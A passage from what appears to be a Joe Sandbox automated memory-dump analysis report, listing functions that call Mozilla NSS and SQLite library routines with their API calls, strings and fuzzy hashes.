Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
Opcode ID: d693ea3b7318b9005bdc905a79cb3036100b8ee1cc567dd016f07837cb281d26
Instruction ID: a40a22817ff70e4b16ecf29c9cd0b71bb5122a8ce337f100eb80d4fd6baf3428
Opcode Fuzzy Hash: d693ea3b7318b9005bdc905a79cb3036100b8ee1cc567dd016f07837cb281d26
Instruction Fuzzy Hash: 7BC18DB1E002199BDB10CF24CC80BDAB7B4BB48308F5941A8E949A7741E775EED9CF90

Function 6CA92C30 Relevance: 13.7, APIs: 9, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(384753FC), ref: 6CA92C5D

Part of subcall function 6CAF0D30: calloc.MOZGLUE ref: 6CAF0D50
Part of subcall function 6CAF0D30: TlsGetValue.KERNEL32 ref: 6CAF0D6D

CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001), ref: 6CA92C8D
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CA92CE0

Part of subcall function 6CA92E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CA92CDA,?,00000000), ref: 6CA92E1E
Part of subcall function 6CA92E00: SECITEM_DupItem_Util.NSS3(?), ref: 6CA92E33
Part of subcall function 6CA92E00: TlsGetValue.KERNEL32 ref: 6CA92E4E
Part of subcall function 6CA92E00: EnterCriticalSection.KERNEL32(?), ref: 6CA92E5E
Part of subcall function 6CA92E00: PL_HashTableLookup.NSS3(?), ref: 6CA92E71
Part of subcall function 6CA92E00: PL_HashTableRemove.NSS3(?), ref: 6CA92E84
Part of subcall function 6CA92E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6CA92E96
Part of subcall function 6CA92E00: PR_Unlock.NSS3 ref: 6CA92EA9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CA92D23
CERT_IsCACert.NSS3(00000001,00000000), ref: 6CA92D30
CERT_MakeCANickname.NSS3(00000001), ref: 6CA92D3F
free.MOZGLUE(00000000), ref: 6CA92D73
CERT_DestroyCertificate.NSS3(?), ref: 6CA92DB8
free.MOZGLUE ref: 6CA92DC8

Part of subcall function 6CA93E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA93EC2
Part of subcall function 6CA93E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CA93ED6
Part of subcall function 6CA93E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CA93EEE
Part of subcall function 6CA93E60: PR_CallOnce.NSS3(6CBF2AA4,6CAF12D0), ref: 6CA93F02
Part of subcall function 6CA93E60: PL_FreeArenaPool.NSS3 ref: 6CA93F14
Part of subcall function 6CA93E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CA93F27

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Util$Item_$HashTable$ArenaCertificatePoolValueZfreefree$Alloc_CallCertCopyCriticalDecodeDestroyEnterErrorFreeInitLookupMakeNicknameOnceQuickRemoveSectionTempUnlockcalloc
String ID:
API String ID: 3941837925-0
Opcode ID: 3c3d0e07a5e9a081932a15e31f967fce061379502bcf7d1b1d8e2125f10267e3
Instruction ID: b2b15484822969d8f070dfd9073801a14f9cf4573baa3c65fa2852ab80ea190f
Opcode Fuzzy Hash: 3c3d0e07a5e9a081932a15e31f967fce061379502bcf7d1b1d8e2125f10267e3
Instruction Fuzzy Hash: EF510075A143119FEB00DE29DC8AB5B77E5EF84348F18062CEC5987620E731E898CB92

Function 6CAB8F70 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6CAADA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CAB8FAF
PR_Now.NSS3(?,?,00000002,?,?,?,6CAADA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CAB8FD1
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CAADA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CAB8FFA
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CAADA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CAB9013
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CAADA9B,?,00000000,?,?,?,?,CE534353), ref: 6CAB9042
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CAADA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CAB905A
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CAADA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CAB9073
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CAADA9B,?,00000000,?,?,?,?,CE534353), ref: 6CAB90EC

Part of subcall function 6CA80F00: PR_GetPageSize.NSS3(6CA80936,FFFFE8AE,?,6CA116B7,00000000,?,6CA80936,00000000,?,6CA1204A), ref: 6CA80F1B
Part of subcall function 6CA80F00: PR_NewLogModule.NSS3(clock,6CA80936,FFFFE8AE,?,6CA116B7,00000000,?,6CA80936,00000000,?,6CA1204A), ref: 6CA80F25

PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CAADA9B,?,00000000,?,?,?,?,CE534353), ref: 6CAB9111

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValue$InternalK11_ModulePageSizeSlot
String ID:
API String ID: 2831689957-0
Opcode ID: 62dc3b53c2b2641dd8ca17ed903d97b55438071b886a53000f6f611468933041
Instruction ID: 0268a5d0d996ee2fb2f6195779ae255e9414c237e8ae14f80abeb4706a07b7a1
Opcode Fuzzy Hash: 62dc3b53c2b2641dd8ca17ed903d97b55438071b886a53000f6f611468933041
Instruction Fuzzy Hash: 3E518974A056558FCF40EF78D688299BBF8BF09314F094569DC58AB706EB30E8C8CB91

Function 6CA98980 Relevance: 13.6, APIs: 9, Instructions: 150memoryCOMMON

Download Yara Rule

APIs

PORT_FreeArena_Util.NSS3(00000000,00000000,00000000,?,00000028,?,?,6CA97310), ref: 6CA989B8

Part of subcall function 6CAF1200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CA988A4,00000000,00000000), ref: 6CAF1228
Part of subcall function 6CAF1200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6CAF1238
Part of subcall function 6CAF1200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6CA988A4,00000000,00000000), ref: 6CAF124B
Part of subcall function 6CAF1200: PR_CallOnce.NSS3(6CBF2AA4,6CAF12D0,00000000,00000000,00000000,?,6CA988A4,00000000,00000000), ref: 6CAF125D
Part of subcall function 6CAF1200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6CAF126F
Part of subcall function 6CAF1200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6CAF1280
Part of subcall function 6CAF1200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6CAF128E
Part of subcall function 6CAF1200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6CAF129A
Part of subcall function 6CAF1200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6CAF12A1

PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000000,?,00000028,?,?,6CA97310), ref: 6CA989E6
PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000004,?), ref: 6CA98A00
CERT_CopyRDN.NSS3(00000004,00000000,6CA97310,?,?,00000004,?), ref: 6CA98A1B
PORT_ArenaGrow_Util.NSS3(00000004,00000000,?,?,?,?,?,?,?,00000004,?), ref: 6CA98A74
PR_SetError.NSS3(FFFFE005,00000000,00000000,?,00000028,?,?,6CA97310), ref: 6CA98AAF
PORT_ArenaAlloc_Util.NSS3(00000004,00000008,00000000,?,00000028,?,?,6CA97310), ref: 6CA98AF3
PORT_ArenaGrow_Util.NSS3(00000004,?,C8850FC0,00000000,00000000,?,00000028,?,?,6CA97310), ref: 6CA98B1D

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Arena$Util$Alloc_$CriticalFreeGrow_PoolSectionfree$Arena_CallClearCopyDeleteEnterErrorOnceUnlockValue
String ID:
API String ID: 3791662518-0
Opcode ID: 3e718ccd6bab1a6fedfd2d9a6eb7fe1c954d190e0ed5511cbc5e350e8e81dcb0
Instruction ID: 391c0d734fe314a55b323a10da2230fdbbe18e2b365a4417cbb86fe39e9a5c26
Opcode Fuzzy Hash: 3e718ccd6bab1a6fedfd2d9a6eb7fe1c954d190e0ed5511cbc5e350e8e81dcb0
Instruction Fuzzy Hash: 1C5139B1A11314AFE7108F10CC01B6AB7E4EF4271CF1A815AED199BB91E731E886CB91

Function 6CB00B00 Relevance: 13.6, APIs: 9, Instructions: 122memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CB00B21

Part of subcall function 6CAEBE30: SECOID_FindOID_Util.NSS3(6CAA311B,00000000,?,6CAA311B,?), ref: 6CAEBE44

Part of subcall function 6CAD8500: SECOID_GetAlgorithmTag_Util.NSS3(6CAD95DC,00000000,00000000,00000000,?,6CAD95DC,00000000,00000000,?,6CAB7F4A,00000000,?,00000000,00000000), ref: 6CAD8517

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CB00B64

Part of subcall function 6CAEFAB0: free.MOZGLUE(?,-00000001,?,?,6CA8F673,00000000,00000000), ref: 6CAEFAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CB00B72
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6CB00BA1
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6CB00BB1
PK11_CreateContextBySymKey.NSS3(-00000001,00000105,?,?), ref: 6CB00BF3
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CB00C00

Part of subcall function 6CAD95C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6CAB7F4A,00000000,?,00000000,00000000), ref: 6CAD95E0
Part of subcall function 6CAD95C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6CAB7F4A,00000000,?,00000000,00000000), ref: 6CAD95F5
Part of subcall function 6CAD95C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6CAD9609
Part of subcall function 6CAD95C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CAD961D
Part of subcall function 6CAD95C0: PK11_GetInternalSlot.NSS3 ref: 6CAD970B
Part of subcall function 6CAD95C0: PK11_FreeSymKey.NSS3(00000000), ref: 6CAD9756
Part of subcall function 6CAD95C0: PK11_GetIVLength.NSS3(?), ref: 6CAD9767
Part of subcall function 6CAD95C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6CAD977E
Part of subcall function 6CAD95C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CAD978E

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CB00C29

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Util$K11_Tag_$Item_$FindZfree$Algorithm$Length$Alloc_BlockContextCreateFreeInternalSizeSlotfree
String ID:
API String ID: 2322824727-0
Opcode ID: 1ea5d8df4faf50230181f48b0528f48db03b30f45ec816eba89adaa90daec5df
Instruction ID: 46ccb02f1132897caef4535c836f7da907ae432bd939cc144d59978eaa6063d0
Opcode Fuzzy Hash: 1ea5d8df4faf50230181f48b0528f48db03b30f45ec816eba89adaa90daec5df
Instruction Fuzzy Hash: 8A31D8B5A043855BE7109F24FD41BAB7AB8EF0435CF050529E81A9B742F731E948C7E2

Function 6CA2E890 Relevance: 12.4, APIs: 5, Strings: 3, Instructions: 442stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6CA2E922
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CA2E9CF
memcpy.VCRUNTIME140(00000024,?,?), ref: 6CA2EA0F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA2EB20
memcpy.VCRUNTIME140(?,?,?), ref: 6CA2EB57

Strings

unknown column "%s" in foreign key definition, xrefs: 6CA2ED18
foreign key on %s should reference only one column of table %T, xrefs: 6CA2EE04
number of columns in foreign key does not match the number of columns in the referenced table, xrefs: 6CA2EDC2

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: memcpystrlen$memset
String ID: foreign key on %s should reference only one column of table %T$number of columns in foreign key does not match the number of columns in the referenced table$unknown column "%s" in foreign key definition
API String ID: 638109778-272990098
Opcode ID: 62c680c3826f79210ccbe2b89d82214f239b5d76b8d111ca33338921f844e79c
Instruction ID: 940301666478090a754cb4757c4947339773ab038559ef0ad8605d366917d87c
Opcode Fuzzy Hash: 62c680c3826f79210ccbe2b89d82214f239b5d76b8d111ca33338921f844e79c
Instruction Fuzzy Hash: 77029071E051698FDB04CFA9C480AAEB7B2FF49306F1D8169D815AB751D739A8C1CBE0

Function 6CAF4DF0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,00000022,?,?,6CAF536F,00000022,?,?,00000000,?), ref: 6CAF4E70
PORT_ZAlloc_Util.NSS3(00000000), ref: 6CAF4F28
PR_smprintf.NSS3(%s=%s,?,00000000), ref: 6CAF4F8E
PR_smprintf.NSS3(%s=%c%s%c,?,?,00000000,?), ref: 6CAF4FAE
free.MOZGLUE(?), ref: 6CAF4FC8

Strings

%s=%s, xrefs: 6CAF4F89
%s=%c%s%c, xrefs: 6CAF4FA9

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: R_smprintf$Alloc_Utilfreeisspace
String ID: %s=%c%s%c$%s=%s
API String ID: 2709355791-2032576422
Opcode ID: 6b51b0feb658ee2776ea68f8b8103c73789fddde3fee6022521c6944fe23be4b
Instruction ID: eb4e34d0b89560aa584bb1bcd8cedf0fe9c18e9201b7e93b1a8aff155174dd02
Opcode Fuzzy Hash: 6b51b0feb658ee2776ea68f8b8103c73789fddde3fee6022521c6944fe23be4b
Instruction Fuzzy Hash: 26513631E442868BFB01CA69C6907FE7BF59F46748F1C8125F8B4A7A40D339888787A1

Function 6CA869A0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 162COMMON

Download Yara Rule

APIs

Part of subcall function 6CA1CA30: EnterCriticalSection.KERNEL32(?,?,?,6CA7F9C9,?,6CA7F4DA,6CA7F9C9,?,?,6CA4369A), ref: 6CA1CA7A
Part of subcall function 6CA1CA30: LeaveCriticalSection.KERNEL32(?), ref: 6CA1CB26

memset.VCRUNTIME140(00000000,00000000,?), ref: 6CA86A02
EnterCriticalSection.KERNEL32(?), ref: 6CA86AA6
LeaveCriticalSection.KERNEL32(?), ref: 6CA86AF9
sqlite3_free.NSS3(00000000), ref: 6CA86B15
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,?,0000BCCC), ref: 6CA86BA6

Strings

winDelete, xrefs: 6CA86B71
delayed %dms for lock/sharing conflict at line %d, xrefs: 6CA86B9F

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memsetsqlite3_freesqlite3_log
String ID: delayed %dms for lock/sharing conflict at line %d$winDelete
API String ID: 1816828315-1405699761
Opcode ID: 788d39262dc3e6f2909e66844dbab183cf0e5dc9d29c8651d2ee4e13845f8a08
Instruction ID: 7a99bc348e323c4ab97211b26f8f707fa101f658def9665d992cb03ad3854ea0
Opcode Fuzzy Hash: 788d39262dc3e6f2909e66844dbab183cf0e5dc9d29c8651d2ee4e13845f8a08
Instruction Fuzzy Hash: 28514831B422449BEB08AF79ED59ABE3779EF4A754F084128E526C7780DB348941CBD2

Function 6CB62F70 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 123stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB62FFD
sqlite3_initialize.NSS3 ref: 6CB63007
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CB63032
sqlite3_mprintf.NSS3(6CBCAAF9,?), ref: 6CB63073
sqlite3_free.NSS3(?), ref: 6CB630B3
sqlite3_mprintf.NSS3(sqlite3_get_table() called with two or more incompatible queries), ref: 6CB630C0

Strings

sqlite3_get_table() called with two or more incompatible queries, xrefs: 6CB630BB

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: sqlite3_mprintf$memcpysqlite3_freesqlite3_initializestrlen
String ID: sqlite3_get_table() called with two or more incompatible queries
API String ID: 750880481-4279182443
Opcode ID: 35f885d73b44d2e4a82c9c8c316bb0fc72c1936f1da8feec9288a5a79d265f2a
Instruction ID: 981dea8f90260e12e2211309d7b24748ff8d46f8dee7ab9bb4643333054a1609
Opcode Fuzzy Hash: 35f885d73b44d2e4a82c9c8c316bb0fc72c1936f1da8feec9288a5a79d265f2a
Instruction Fuzzy Hash: 6F419575600686ABDB10CF26D840A4AB7B5FF44368F148528EC5987F40E731F999CBD2

Function 6CAA8CF0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,6CAB124D,00000001), ref: 6CAA8D19
EnterCriticalSection.KERNEL32(?,?,?,?,6CAB124D,00000001), ref: 6CAA8D32
PL_ArenaRelease.NSS3(?,?,?,?,?,6CAB124D,00000001), ref: 6CAA8D73
PR_Unlock.NSS3(?,?,?,?,?,6CAB124D,00000001), ref: 6CAA8D8C

Part of subcall function 6CB3DD70: TlsGetValue.KERNEL32 ref: 6CB3DD8C
Part of subcall function 6CB3DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CB3DDB4

PR_Unlock.NSS3(?,?,?,?,?,6CAB124D,00000001), ref: 6CAA8DBA

Strings

KRAM, xrefs: 6CAA8D3E
KRAM, xrefs: 6CAA8CF9

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$ArenaEnterLeaveRelease
String ID: KRAM$KRAM
API String ID: 2419422920-169145855
Opcode ID: ef4d4b2d997fdcef4d06756bbdb2b1db7d3bfe7367b2b70a074e9d515b4c0cfd
Instruction ID: db6c2010631f3c9482132eaf53e4cee89de6791ad79f9f44610a021c7391b55e
Opcode Fuzzy Hash: ef4d4b2d997fdcef4d06756bbdb2b1db7d3bfe7367b2b70a074e9d515b4c0cfd
Instruction Fuzzy Hash: 1121A1B5A046418FCB40EFB8C58466EBBF0FF45308F19896AD89887701E731D896CB91

Function 6CACACC0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageDecryptFinal), ref: 6CACACE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CACAD14
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CACAD23

Part of subcall function 6CBAD930: PL_strncpyz.NSS3(?,?,?), ref: 6CBAD963

PR_LogPrint.NSS3(?,00000000), ref: 6CACAD39

Strings

C_MessageDecryptFinal, xrefs: 6CACACE1
(CK_INVALID_HANDLE), xrefs: 6CACAD1C
hSession = 0x%x, xrefs: 6CACACFE, 6CACAD0E

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageDecryptFinal
API String ID: 332880674-3521875567
Opcode ID: 2f37baea76cf6db1ccb0af1960f226fc92e99a1e0be7124483430b2bd34baf72
Instruction ID: a7a78c75e4cc283c10151f68924c533765be67a7f480da43cfaf12161aa6081e
Opcode Fuzzy Hash: 2f37baea76cf6db1ccb0af1960f226fc92e99a1e0be7124483430b2bd34baf72
Instruction Fuzzy Hash: F22107757011949FDB019B68FD88BBE3376EB42719F044029E81AA7711DF349D89C793

Function 6CBA0ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6CBA0EE6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6CBA0EFA

Part of subcall function 6CA8AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6CA8AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CBA0F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CBA0F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CBA0F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CBA0F2B

Strings

